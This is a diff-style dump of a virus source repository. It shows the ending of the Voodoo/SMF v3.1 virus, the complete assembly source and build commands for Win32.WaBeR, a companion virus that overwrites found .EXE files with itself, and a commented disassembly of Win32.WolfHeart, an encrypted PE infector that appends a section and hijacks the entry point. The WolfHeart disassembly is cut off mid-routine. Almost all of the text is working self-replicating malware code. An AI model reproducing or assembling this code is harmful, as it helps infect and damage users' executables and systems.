||||
jmp dword ptr ds:[ebx+_SetCurrentDirectory]
|
||||
SetFileAttributesA:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetFileAttributesA]
|
||||
SetFileTime:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_SetFileTime]
|
||||
GetSystemTime:
|
||||
call LoadMemPointer
|
||||
jmp dword ptr ds:[ebx+_GetSystemTime]
|
||||
db '(c) Voodoo/SMF v3.1 07.08.1999'
|
||||
;-------------------
|
||||
GetProcAddress dd 11223344h
|
||||
KernelHandle dd 11223344h
|
||||
Name_Pointers_RVA dd 11223344h
|
||||
_GlobalAlloc dd 11223344h
|
||||
_GlobalLock dd 11223344h
|
||||
MemPointer dd 11223344h
|
||||
disk db 'c:\',0
|
||||
Dirmask DB '*.*',0
|
||||
mask DB '*.EXE',0
|
||||
ImportCount EQU (offset EndImportTable- offset ImportTable)/4
|
||||
ImportTable: dd GlobalUnlockCRC
|
||||
dd GlobalFreeCRC
|
||||
dd CreateFileACRC
|
||||
dd CreateFileMappingACRC
|
||||
dd MapViewOfFileCRC
|
||||
dd UnmapViewOfFileCRC
|
||||
dd FlushViewOfFileCRC
|
||||
dd CloseHandleCRC
|
||||
dd FindFirstFileACRC
|
||||
dd FindNextFileACRC
|
||||
dd SetFileAttributesACRC
|
||||
dd SetFileTimeCRC
|
||||
dd GetFileSizeCRC
|
||||
dd GetCommandLineACRC
|
||||
dd ReadFileCRC
|
||||
dd lstrcpyACRC
|
||||
dd SetFilePointerCRC
|
||||
dd GetCurrentDirectoryCRC
|
||||
dd SetCurrentDirectoryCRC
|
||||
dd GetSystemTimeCRC
|
||||
dw 6666h
|
||||
EndImportTable:
|
||||
Voodoo_Ver_3_0E:
|
||||
Ends
|
||||
End Voodoo_Ver_3_1
|
||||
===== Cut =====
|
2685
Win32/Win32.Vulcano.asm
Normal file
2685
Win32/Win32.Vulcano.asm
Normal file
File diff suppressed because it is too large
Load Diff
321
Win32/Win32.Waber.asm
Normal file
321
Win32/Win32.Waber.asm
Normal file
@ -0,0 +1,321 @@
|
||||
;===========================================================================================
|
||||
; ...:: Win32.WaBeR - ViruS ::...
|
||||
; Version 2.4
|
||||
; by -DiA- (c) 02
|
||||
; GermanY
|
||||
;
|
||||
;
|
||||
;
|
||||
; Here it is! My 1st Win32.Companion Virus ...success!!! :)
|
||||
; Don't grumble about the code, it's my 2th Win32.Virus... ...and I go on. =)
|
||||
; DiA_hates_machine@gmx.de
|
||||
;
|
||||
;
|
||||
;
|
||||
; Some Comments:
|
||||
; -decrypt the strings
|
||||
; -read the counter >not exist = MAKE IT!
|
||||
; >if not 0 = go to the virus and infect some files
|
||||
; >if 0 = jmp to PAYLOAD
|
||||
; -payload:
|
||||
; +after 24 starts the payload aktivate
|
||||
; +it prints a nice message:
|
||||
; ...:Weed And BEer Rulez:...
|
||||
; Win32.WaBeR - ViruS
|
||||
; Version 2.4
|
||||
; by -DiA- (c)02
|
||||
; [PLEASE RESET THE WaBeR-COUNTER : "C:\WaBeR.dll"]
|
||||
; -virus renames found .EXE to .SYS file
|
||||
; -virus copy itself to the .EXE file
|
||||
; -after work the host runs!
|
||||
; -allright...
|
||||
;
|
||||
;
|
||||
; Greetz to Monochrom - without you, this virus can't live :)
|
||||
;
|
||||
;
|
||||
; To Compile the WaBeR - ViruS:
|
||||
; tasm32 /z /ml /m3 WaBeR24,,;
|
||||
; tlink32 -Tpe -c WaBeR24,WaBeR24,, import32.lib
|
||||
;
|
||||
; To Compile the WaBeR - SYS:
|
||||
; tasm32 /z /ml /m3 WaBeR24sys,,;
|
||||
; tlink32 -Tpe -c WaBeR24sys,WaBeR24sys,, import32.lib
|
||||
; rename WaBeR24sys.exe WaBeR24.sys
|
||||
;===========================================================================================
|
||||
|
||||
|
||||
;*******************************************************************************************
|
||||
;*****cut*****WaBeR24.sys*******************************************************************
|
||||
;.386
|
||||
;.model flat
|
||||
;jumps
|
||||
;
|
||||
;extrn MessageBoxA:PROC
|
||||
;extrn ExitProcess:PROC
|
||||
;
|
||||
;.data
|
||||
;titel db '1st Generation',0
|
||||
;msg db 'Win32.WaBeR - Virus',10,13
|
||||
; db 'Version 2.4',10,13
|
||||
; db 'by -DiA- (c)02',10,13
|
||||
; db '[my 1st companion virus in win32]',0
|
||||
;
|
||||
;.code
|
||||
;start:
|
||||
;
|
||||
;push 16
|
||||
;push offset titel
|
||||
;push offset msg
|
||||
;push 0
|
||||
;call MessageBoxA
|
||||
;
|
||||
;push 0
|
||||
;call ExitProcess
|
||||
;
|
||||
;end start
|
||||
;*****cut*****WaBeR24.sys*******************************************************************
|
||||
;*******************************************************************************************
|
||||
|
||||
|
||||
;=====Have Fun...===========================================================================
|
||||
.386
|
||||
.model flat
|
||||
jumps
|
||||
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn lstrcpyA:PROC
|
||||
extrn FindFirstFileA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn FindNextFileA:PROC
|
||||
extrn CreateProcessA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
extrn OpenFile:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn SetFilePointer:PROC
|
||||
|
||||
.data
|
||||
FileName db 'ù€æíÛøßè”ÞÖÖ',-70
|
||||
titel db '”””€íßßÞšûÔÞšøÿßÈšèÏÖßÀ€”””',-70
|
||||
msg db 'íÓÔ‰ˆ”íÛøßèš—šìÓÈÏé',-80,-73
|
||||
db 'ìßÈÉÓÕÔšˆ”Ž',-80,-73
|
||||
db 'ØÚ—þÓû—š’Ù“Šˆ',-80,-73,-80,-73,-80,-73
|
||||
db 'áêöÿûéÿšèÿéÿîšîòÿšíÛøßè—ùõïôîÿ蚀š˜ù€æíÛøßè”ÞÖÖ˜ç',-70
|
||||
FirstNum db 'ò',-70
|
||||
FileMask db '<27>”ÿâÿ',-70
|
||||
Number db 01d dup (0)
|
||||
FileAttr dd 0
|
||||
FileHandle dd 0
|
||||
Read dd 0
|
||||
Write dd 0
|
||||
FindHandle dd 0
|
||||
ProcessInfo dd 4 dup (0)
|
||||
StartupInfo dd 4 dup (0)
|
||||
Win32FindData dd 0,0,0,0,0,0,0,0,0,0,0
|
||||
FindFile db 200 dup (0)
|
||||
CreateFile db 200 dup (0)
|
||||
VirusFile db 200 dup (0)
|
||||
OriginFile db 200 dup (0)
|
||||
|
||||
|
||||
.code
|
||||
start:
|
||||
|
||||
;-----Decrypt all Strings-------------------------------------------------------------------
|
||||
mov esi,offset FileName
|
||||
mov edi,esi
|
||||
mov ecx,154d
|
||||
call DeCrypt
|
||||
;-------------------------------------------------------------------------------------------
|
||||
|
||||
;-----Check the Counter---------------------------------------------------------------------
|
||||
push 2
|
||||
push offset FileAttr
|
||||
push offset FileName
|
||||
call OpenFile
|
||||
|
||||
cmp eax,0FFFFFFFFh
|
||||
je MakeFile
|
||||
|
||||
mov dword ptr [FileHandle],eax
|
||||
|
||||
GOon:
|
||||
call SetPointer
|
||||
|
||||
push 0
|
||||
push offset Read
|
||||
push 01d
|
||||
push offset Number
|
||||
push dword ptr [FileHandle]
|
||||
call ReadFile
|
||||
|
||||
cmp byte ptr [Number],'0'
|
||||
je BOOM
|
||||
|
||||
dec byte ptr [Number]
|
||||
|
||||
call SetPointer
|
||||
|
||||
push 0
|
||||
push offset Write
|
||||
push 01d
|
||||
push offset Number
|
||||
push dword ptr [FileHandle]
|
||||
call WriteFile
|
||||
|
||||
push dword ptr [FileHandle]
|
||||
call CloseHandle
|
||||
jmp WaBeR
|
||||
|
||||
MakeFile:
|
||||
push 0
|
||||
push 80h
|
||||
push 2
|
||||
push 0
|
||||
push 0
|
||||
push 0C0000000h
|
||||
push offset FileName
|
||||
call CreateFileA
|
||||
|
||||
mov dword ptr [FileHandle],eax
|
||||
|
||||
call SetPointer
|
||||
|
||||
push 0
|
||||
push offset Write
|
||||
push 01d
|
||||
push offset FirstNum
|
||||
push dword ptr [FileHandle]
|
||||
call WriteFile
|
||||
|
||||
jmp GOon
|
||||
|
||||
BOOM:
|
||||
push dword ptr [FileHandle]
|
||||
call CloseHandle
|
||||
|
||||
push 16
|
||||
push offset titel
|
||||
push offset msg
|
||||
push 0
|
||||
call MessageBoxA
|
||||
jmp exit
|
||||
|
||||
SetPointer:
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push dword ptr [FileHandle]
|
||||
call SetFilePointer
|
||||
ret
|
||||
;-------------------------------------------------------------------------------------------
|
||||
|
||||
;-----Decrypt Loop--------------------------------------------------------------------------
|
||||
DeCrypt:
|
||||
lodsb
|
||||
xor al,69d
|
||||
not al
|
||||
stosb
|
||||
loop DeCrypt
|
||||
ret
|
||||
;-------------------------------------------------------------------------------------------
|
||||
|
||||
;-----Infect some Filez---------------------------------------------------------------------
|
||||
WaBeR:
|
||||
|
||||
call GetCommandLineA
|
||||
|
||||
push eax
|
||||
push offset VirusFile
|
||||
call lstrcpyA
|
||||
|
||||
mov eax,offset VirusFile
|
||||
GetPoint1:
|
||||
cmp byte ptr [eax],'.'
|
||||
jz FoundPoint1
|
||||
inc eax
|
||||
jmp GetPoint1
|
||||
|
||||
FoundPoint1:
|
||||
add eax,04d
|
||||
mov byte ptr [eax],00
|
||||
|
||||
push offset VirusFile+1
|
||||
push offset OriginFile
|
||||
call lstrcpyA
|
||||
|
||||
mov eax,offset OriginFile
|
||||
GetPoint2:
|
||||
cmp byte ptr [eax],'.'
|
||||
jz FoundPoint2
|
||||
inc eax
|
||||
jmp GetPoint2
|
||||
|
||||
FoundPoint2:
|
||||
inc eax
|
||||
mov dword ptr [eax],535953h
|
||||
|
||||
push offset Win32FindData
|
||||
push offset FileMask
|
||||
call FindFirstFileA
|
||||
mov dword ptr [FindHandle],eax
|
||||
|
||||
FindNext:
|
||||
cmp eax,-1
|
||||
je RunHost
|
||||
or eax,eax
|
||||
jz RunHost
|
||||
|
||||
push offset FindFile
|
||||
push offset CreateFile
|
||||
call lstrcpyA
|
||||
|
||||
mov eax,offset CreateFile
|
||||
GetPoint3:
|
||||
cmp byte ptr [eax],'.'
|
||||
jz FoundPoint3
|
||||
inc eax
|
||||
jmp GetPoint3
|
||||
|
||||
FoundPoint3:
|
||||
inc eax
|
||||
mov dword ptr [eax],535953h
|
||||
|
||||
push 1
|
||||
push offset CreateFile
|
||||
push offset FindFile
|
||||
call CopyFileA
|
||||
|
||||
push 0
|
||||
push offset FindFile
|
||||
push offset VirusFile+1
|
||||
call CopyFileA
|
||||
|
||||
push offset Win32FindData
|
||||
push dword ptr [FindHandle]
|
||||
call FindNextFileA
|
||||
jmp FindNext
|
||||
|
||||
RunHost:
|
||||
push offset ProcessInfo
|
||||
push offset StartupInfo
|
||||
push 0
|
||||
push 0
|
||||
push 00000010h
|
||||
push 0
|
||||
push 0
|
||||
push 0
|
||||
push offset OriginFile
|
||||
push offset OriginFile
|
||||
call CreateProcessA
|
||||
|
||||
exit:
|
||||
push 0
|
||||
call ExitProcess
|
||||
;-W-E-E-D--A-N-D--B-E-E-R--R-U-L-E-Z-----DiA------------------------------------------------
|
||||
end start
|
||||
;===========================================================================================
|
1003
Win32/Win32.Winux.asm
Normal file
1003
Win32/Win32.Winux.asm
Normal file
File diff suppressed because it is too large
Load Diff
726
Win32/Win32.WolfHeart.asm
Normal file
726
Win32/Win32.WolfHeart.asm
Normal file
@ -0,0 +1,726 @@
|
||||
;Win32.WolfHeart aka win32.gen disassembly by DR-EF
|
||||
;--------------------------------------------------
|
||||
;Author:ByteSV/VHC
|
||||
;Orgin:russia
|
||||
;type: encrypted win32 pe infector
|
||||
;description:
|
||||
;------------
|
||||
;when worlfheart running,it decrypt itself using a 32bit xor key,than
|
||||
;its trying to get the GetModuleHandle api address,if that fail,its
|
||||
;assume win32 kernel base is at 0BFF70000h,than its start to find needed
|
||||
;api functions,after that its search the currect directory for *.exe,to
|
||||
;infect pe file,wolfheart append new section,put its code at that section
|
||||
;and encrypt it by 32bit key using xor method,than its set the host entry
|
||||
;point to that section.to read/write from files,wolfheart using file mapping
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
.386
|
||||
.model flat
|
||||
.radix 16
|
||||
extrn ExitProcess:proc
|
||||
|
||||
.data
|
||||
|
||||
db ?
|
||||
|
||||
.code
|
||||
|
||||
|
||||
VirusStart:
|
||||
pushad ;save registers
|
||||
pushfd ;save flags
|
||||
call Delta
|
||||
Delta: pop ebp
|
||||
sub ebp, offset Delta ;get delta offset into ebp
|
||||
|
||||
VirusKey equ ($-VirusStart+2)
|
||||
|
||||
mov eax, 00000000 ;decryption key here !
|
||||
|
||||
|
||||
|
||||
|
||||
mov esi,offset EncryptedVirusStart ;set start of data to decrypt
|
||||
add esi, ebp
|
||||
mov ecx, SizeOfEncryptedVirus ;set size of encrypted virus
|
||||
nop
|
||||
@Decrypt:
|
||||
xor dword ptr [esi], eax ;decrypt
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
inc esi
|
||||
loop @Decrypt ;decrypt virus loop
|
||||
|
||||
|
||||
DecryptorSize equ ($-VirusStart)
|
||||
|
||||
|
||||
|
||||
EncryptedVirusStart:
|
||||
|
||||
|
||||
mov ebx, 00400000 ;host image base
|
||||
|
||||
HostImageBase equ ($-4)
|
||||
|
||||
mov esi, ebx ;esi = host image base
|
||||
|
||||
|
||||
mov edx,offset GMH
|
||||
add edx, ebp
|
||||
mov ecx, 00000010h
|
||||
nop
|
||||
mov dword ptr [ebp+StrAdd], edx
|
||||
mov dword ptr [ebp+StrLen], ecx
|
||||
call WolfHeart_GetGMHApi
|
||||
jnb GMH_Success ;jnc
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov eax, 0BFF70000h ;search kernel fail,assume kernel at bff700000
|
||||
jmp FindGPA
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
GMH_Success:
|
||||
mov edx, ebp
|
||||
add edx,offset k32_dll
|
||||
push edx ;push offset "KERNEL32.DLL"
|
||||
call eax ;call GetModuleHandle
|
||||
or eax, eax ;is eax==0 ?
|
||||
je ReturnToHost ;if so get out
|
||||
|
||||
;FindGPA Function
|
||||
;input:
|
||||
;eax - kernel32 image base
|
||||
|
||||
|
||||
|
||||
FindGPA:
|
||||
mov edx, dword ptr [ebp+HostImageBase] ;get host image base
|
||||
push edx ;save it in the stack
|
||||
mov edx, dword ptr [ebp+HostEntryPoint] ;get host entry point
|
||||
push edx ;save it on the stack
|
||||
mov esi, eax ;esi - kernel32 image base
|
||||
mov esi, dword ptr [esi+3Ch] ;esi - rva to pe header
|
||||
add esi, eax ;esi - pe header
|
||||
mov edx, dword ptr [esi] ;read 4 bytes from start of pe header
|
||||
cmp edx, 00004550 ;compare them with PE\0\0
|
||||
jne ReturnToHost ;if not equal get out
|
||||
xor edx, edx ;zero edx
|
||||
mov esi, dword ptr [esi+78] ;get rva to exports
|
||||
add esi, eax ;convert it to va
|
||||
mov dword ptr [ebp+Export_Section], esi ;save export section offset
|
||||
mov ecx, dword ptr [esi+18] ;get number of functions
|
||||
mov ebx, dword ptr [esi+20] ;get rva to function names rva's array
|
||||
add ebx, eax ;convert it to va
|
||||
FindNApi:
|
||||
mov edi, dword ptr [ebx] ;get rva to function name
|
||||
add edi, eax ;convert it to va
|
||||
cmp byte ptr [edi], 47 ;compare the first byte of the api name with 'G'
|
||||
jne NotGPA ;if not equal move to next api
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov esi,offset GPA ;get offset to GetProcAddress string
|
||||
add esi, ebp ;add delta offset
|
||||
mov ecx, 0000000Eh ;GetProcAddress size
|
||||
nop
|
||||
repz cmpsb ;compare api name in the exports with "GetProcAddress"
|
||||
jne NotGPA ;if not equal move to next api
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp byte ptr [edi], 00 ;check for string zero termination
|
||||
jne NotGPA
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov dword ptr [ebp+0040166Bh], eax ;save kernel32 base address
|
||||
mov esi, dword ptr [ebp+Export_Section] ;get offset to export section
|
||||
mov ecx, dword ptr [esi+24] ;get rva to ordinals array
|
||||
add ecx, eax ;convert it to va
|
||||
shl edx, 1 ;GetProcAddress position*2
|
||||
mov edi, edx ;edi=GPA position*2
|
||||
add edi, ecx ;edi=pointer to GPA oridinal
|
||||
xor ebx, ebx ;zero ebx
|
||||
mov bx, word ptr [edi] ;read GPA oridinal number
|
||||
shl ebx, 02 ;ebx=(GPA oridinal number)*4
|
||||
mov esi, dword ptr [esi+1Ch] ;get rva to functions addresses array
|
||||
add esi, eax ;convert it to va
|
||||
add esi, ebx ;add it the GPA position in this array
|
||||
mov esi, dword ptr [esi] ;read rva to GPA function
|
||||
add eax, esi ;get its va by adding the rva to the k32 base address
|
||||
mov ebx, dword ptr [ebp+0040166Bh] ;ebx=k32 base address
|
||||
jmp GetApis
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
NotGPA: add ebx, 00000004 ;move to next api name rva
|
||||
inc edx ;GPA position++
|
||||
loop FindNApi
|
||||
pop edi ;restore stack
|
||||
jb ReturnToHost ;return to host
|
||||
GetApis:mov esi, ebp
|
||||
add esi,offset ApiAddresses_Table ;api addresses array
|
||||
mov edi, ebp
|
||||
add edi,offset ApiNamesTable ;api names array
|
||||
NextApi:mov ecx, dword ptr [edi] ;read 4 bytes from the api name
|
||||
or ecx, ecx ;if empty==there are no more apis
|
||||
je NoMoreApis
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
push eax ;save k32 base in the stack
|
||||
push edi ;api name
|
||||
push ebx ;k32 base address
|
||||
call eax ;call GetProcAddress
|
||||
mov dword ptr [esi], eax ;save function address
|
||||
pop eax ;restore k32 base address
|
||||
add edi, 00000013 ;move to next api name
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add esi, 00000004 ;move to next api in the addresses table
|
||||
jmp NextApi ;get more apis !
|
||||
NoMoreApis:
|
||||
int 3
|
||||
mov edx,offset WIN32_FIND_DATA
|
||||
add edx, ebp
|
||||
push edx
|
||||
sub edx,SM_Offset ;offset to search_mask
|
||||
push edx
|
||||
add edx,F_FirstFile ;FindFirstFile api
|
||||
call dword ptr [edx] ;check if return value is 0
|
||||
or eax, eax ;<-- wrong if FindFirstFile fail it return INVALID_HANDLE_VALUE which is -1
|
||||
je ReturnToHost ;return to host if eax==0
|
||||
mov dword ptr [ebp+find_handle], eax
|
||||
NextFile:
|
||||
mov eax, dword ptr [ebp+0040168Fh]
|
||||
mov dword ptr [ebp+0040165Bh], eax
|
||||
mov eax, dword ptr [ebp+00401693]
|
||||
mov dword ptr [ebp+0040165Fh], eax
|
||||
push 00000000
|
||||
push 00000000
|
||||
push 00000003
|
||||
push 00000000
|
||||
push 00000000
|
||||
push 0C0000000h
|
||||
mov edx, ebp
|
||||
add edx,offset WFD_szFileName
|
||||
push edx
|
||||
mov eax, dword ptr [ebp+CreateFileA_]
|
||||
call eax
|
||||
jb MoveToNextFile ;if error move to next file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
cmp eax, 0FFFFFFFFh ;canot open file ?
|
||||
je MoveToNextFile ;move to next file
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
mov dword ptr [ebp+hfile], eax ;save file handle
|
||||
call WolfHeart_InfectFile
|
||||
mov eax, ebp
|
||||
add eax,offset LastWriteTime
|
||||
push eax
|
||||
sub eax, 00000008 ;offset to LastAccessTime
|
||||
push eax
|
||||
sub eax, 00000008 ;offset to CreationTime
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+hfile]
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+SetFileTime_]
|
||||
call eax ;call SetFileTime
|
||||
mov eax, dword ptr [ebp+hfile]
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+CloseHandle_]
|
||||
call eax
|
||||
MoveToNextFile:
|
||||
|
||||
mov edx, ebp
|
||||
add edx,offset WIN32_FIND_DATA
|
||||
push edx
|
||||
mov eax, dword ptr [ebp+find_handle]
|
||||
push eax
|
||||
sub edx, FindNXTFile
|
||||
call dword ptr [edx] ;call findnextfile api
|
||||
or eax, eax ;error ?
|
||||
jne NextFile ;if not,there are more files..
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
ReturnToHost:
|
||||
|
||||
pop edx
|
||||
pop eax
|
||||
mov dword ptr [ebp+HostImageBase], eax
|
||||
add edx, eax
|
||||
mov dword ptr [ebp+HostEntryPoint], edx
|
||||
popfd
|
||||
popad
|
||||
mov edx, offset FakeHost
|
||||
|
||||
HostEntryPoint equ ($-4)
|
||||
|
||||
push edx
|
||||
ret
|
||||
|
||||
|
||||
;input:
|
||||
;eax - file handle
|
||||
WolfHeart_InfectFile:
|
||||
mov edx, eax
|
||||
mov eax, dword ptr [ebp+0040165Bh]
|
||||
or eax, eax
|
||||
jne ExitInfect
|
||||
push 00000000
|
||||
mov eax, dword ptr [ebp+0040165Fh]
|
||||
add eax, 00001C75h
|
||||
push eax
|
||||
push 00000000
|
||||
push 00000004
|
||||
push 00000000
|
||||
push edx
|
||||
mov eax, dword ptr [ebp+CreateFileMappingA_]
|
||||
call eax ;create file mapping object
|
||||
or eax, eax ;error ?
|
||||
je ExitInfect
|
||||
mov edx, dword ptr [ebp+0040165Fh]
|
||||
add edx, 00001C75h
|
||||
push edx
|
||||
push 00000000
|
||||
push 00000000
|
||||
push 00000002
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+MapViewOfFile_]
|
||||
call eax ;map file into memory
|
||||
or eax, eax
|
||||
je ExitInfect
|
||||
mov dword ptr [ebp+mapbase], eax ;save map base !
|
||||
|
||||
|
||||
|
||||
|
||||
mov ebx, eax ;ebx <- map base
|
||||
mov esi, eax ;esi <- map base
|
||||
mov esi, dword ptr [esi+3Ch] ;read rva to pe header
|
||||
add esi, ebx ;convert it to va,ESI==PE header !
|
||||
mov eax, dword ptr [esi] ;read 4 bytes into eax
|
||||
cmp eax, 00004550 ;compare with PE\0\0
|
||||
jne ExitInfect_UnmapFile ;not equal get out
|
||||
mov dword ptr [ebp+DistanceToMove], 00000000
|
||||
mov ax, word ptr [esi+1Ah] ;get Major & Minor Linker Version(WolfHeart use them as infection sign)
|
||||
cmp ax, 4206 ;already infected ?
|
||||
je ExitInfect_UnmapFile ;exit
|
||||
mov eax, dword ptr [edi+28] ;get ???(edi didnt setted)
|
||||
mov dword ptr [ebp+HostEntryPoint], eax ;save as entry point
|
||||
mov eax, dword ptr [edi+24] ;get ???(edi didnt setted)
|
||||
mov dword ptr [ebp+HostImageBase], eax ;save as image base
|
||||
mov edi, esi ;edi = pe header
|
||||
xor eax, eax ;set eax to zero
|
||||
mov eax, dword ptr [esi+74] ;get Number Of Rva And Sizes
|
||||
shl eax, 03 ;eax=(Number Of Rva And Sizes)*8
|
||||
add eax, 00000078
|
||||
add edi, eax ;edi - first section header
|
||||
mov ax, word ptr [esi+06] ;ax==number of sections
|
||||
mov cx, 0028 ;cx==28h(size of section)
|
||||
mul cx ;eax - size of all sections headers
|
||||
add edi, eax ;edi - end of sections headers
|
||||
mov eax, dword ptr [edi-20] ;get virtual size into eax
|
||||
cdq ;zero edx
|
||||
add eax, dword ptr [edi-1Ch] ;add virtual address
|
||||
mov ecx, dword ptr [esi+38] ;get section alignment
|
||||
div ecx
|
||||
or edx, edx
|
||||
je Set_VirtualAddress
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_VirtualAddress:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_VirtualAddress], eax ;set SH_VirtualAddress in section header
|
||||
mov ecx, dword ptr [esi+3Ch] ;get file alignment
|
||||
mov eax, 00000617 ;eax - virus size
|
||||
cdq ;zero edx
|
||||
div ecx
|
||||
or edx, edx
|
||||
je Set_SizeOfRawData
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_SizeOfRawData:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_SizeOfRawData], eax ;set SH_SizeOfRawData in section header
|
||||
mov eax, 00000875
|
||||
cdq ;zero edx
|
||||
div ecx
|
||||
or edx, edx
|
||||
je Set_VirtualSize
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_VirtualSize:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_VirtualSize], eax ;set SH_VirtualSize
|
||||
mov eax, dword ptr [edi-14] ;get pointer to raw data
|
||||
add eax, dword ptr [edi-18] ;add to it size of raw data
|
||||
mov ecx, dword ptr [esi+3Ch] ;get file alignment
|
||||
div ecx ;eax/ecx=where to store virus
|
||||
or edx, edx
|
||||
je Set_PointerToRawData
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
inc eax
|
||||
Set_PointerToRawData:
|
||||
mul ecx
|
||||
mov dword ptr [ebp+SH_PointerToRawData], eax;set SH_PointerToRawData
|
||||
push esi ;save pe header in the stack
|
||||
mov esi, ebp
|
||||
add esi,offset SH_Name ;esi - start of section
|
||||
mov ecx, 0000000Ah
|
||||
repz movsd ;append new section
|
||||
pop esi ;restore pe header into esi
|
||||
inc word ptr [esi+06] ;update number of sections
|
||||
mov ax, 4206 ;ax=infection sign
|
||||
mov word ptr [esi+1Ah], ax ;mark file as infected
|
||||
mov eax, dword ptr [esi+34] ;get host image base
|
||||
mov dword ptr [ebp+HostImageBase], eax ;save it
|
||||
mov eax, dword ptr [esi+28] ;get host entry point
|
||||
mov dword ptr [ebp+HostEntryPoint], eax ;save it
|
||||
mov eax, dword ptr [ebp+SH_VirtualAddress] ;get virus section virtual size
|
||||
mov dword ptr [esi+28], eax ;set new entry point to the virus section start
|
||||
mov edi, dword ptr [ebp+SH_PointerToRawData];get pointer to raw data of the virus
|
||||
add edi, ebx ;add map base to it
|
||||
push edi ;save virus section raw data offset in the stack
|
||||
mov esi, ebp
|
||||
add esi,offset VirusStart ;esi - virus start
|
||||
mov ecx, 00000186 ;ecx - virus size in dwords
|
||||
nop
|
||||
cld ;clear direction flag
|
||||
repz movsd ;copy virus into the host
|
||||
pop edi ;restore virus offset in file
|
||||
mov esi, edi
|
||||
add edi, DecryptorSize
|
||||
mov ecx, SizeOfEncryptedVirus
|
||||
nop
|
||||
mov eax, dword ptr [ebp+00401677]
|
||||
mov dword ptr [esi+VirusKey], eax
|
||||
@Encrypt:
|
||||
xor dword ptr [edi], eax
|
||||
inc edi
|
||||
inc edi
|
||||
inc edi
|
||||
inc edi
|
||||
loop @Encrypt
|
||||
mov dword ptr [ebp+DistanceToMove], 00000617
|
||||
|
||||
ExitInfect_UnmapFile:
|
||||
mov eax, dword ptr [ebp+mapbase]
|
||||
push eax
|
||||
mov eax, dword ptr [ebp+UnmapViewOfFile_]
|
||||
call eax
|
||||
push 00000000 ;FILE_BEGIN
|
||||
push 00000000 ;lpDistanceToMoveHigh
|
||||
mov eax, dword ptr [ebp+00401693]
|
||||
add eax, dword ptr [ebp+DistanceToMove]
|
||||
push eax ;lDistanceToMove
|
||||
push dword ptr [ebp+hfile] ;hFile
|
||||
mov eax, dword ptr [ebp+SetFilePointer_] ;call SetFilePointer
|
||||
call eax
|
||||
push dword ptr [ebp+hfile]
|
||||
mov eax, dword ptr [ebp+SetEndOfFile_]
|
||||
call eax
|
||||
ExitInfect:
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;Get the GetModuleHandle from import section of the host
|
||||
;input:
|
||||
;esi - image base
|
||||
;ebx - image base
|
||||
;ecx - size of api name string
|
||||
;edx - pointer to name
|
||||
WolfHeart_GetGMHApi:
|
||||
cmp word ptr [esi], 5A4Dh ;check mz sign
|
||||
jne FindApiInImportErr ;if error exit
|
||||
mov esi,dword ptr [esi+3Ch] ;goto pe header
|
||||
add esi,ebx ;add image base
|
||||
cmp dword ptr [esi], 00004550 ;check for pe\0\0
|
||||
jne FindApiInImportErr ;if error exit
|
||||
mov ecx,dword ptr [esi+00000084h] ;get size of import section
|
||||
add ecx,ebx ;add it the image base
|
||||
mov esi,dword ptr [esi+00000080h] ;get import data rva
|
||||
add esi,ebx ;convert it to va
|
||||
mov edi,esi ;edi = import section
|
||||
NxtDll: mov esi, dword ptr [esi+0Ch] ;get rva to dll name
|
||||
or esi, esi ;no more dlls ?
|
||||
je FindApiInImportErr ;exit than
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add esi, ebx ;convert dll name rva to va
|
||||
mov eax, dword ptr [esi] ;get first 4 bytes of dll name into
|
||||
and eax, 0DFDFDFDFh ;convert bytes to upper case
|
||||
cmp eax, 4E52454Bh ;compare them with "NREK"(kernel32.dll)
|
||||
je ScanImportsFromK32 ;scan k32 IMAGE_THUNK_DATA structures
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add edi, 00000014h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
|
||||
mov esi, edi
|
||||
cmp edi, ecx ;is it end of import section?
|
||||
jg NxtDll ;if no,scan for more dlls
|
||||
ScanImportsFromK32:
|
||||
mov dword ptr [ebp+image_import_desc], edi ;save k32 IMAGE_IMPORT_DESCRIPTOR
|
||||
mov edx, dword ptr [edi+10h] ;get rva to IMAGE_IMPORT_BYNAME structure(First Thunk)
|
||||
add edx, ebx ;convert it to va
|
||||
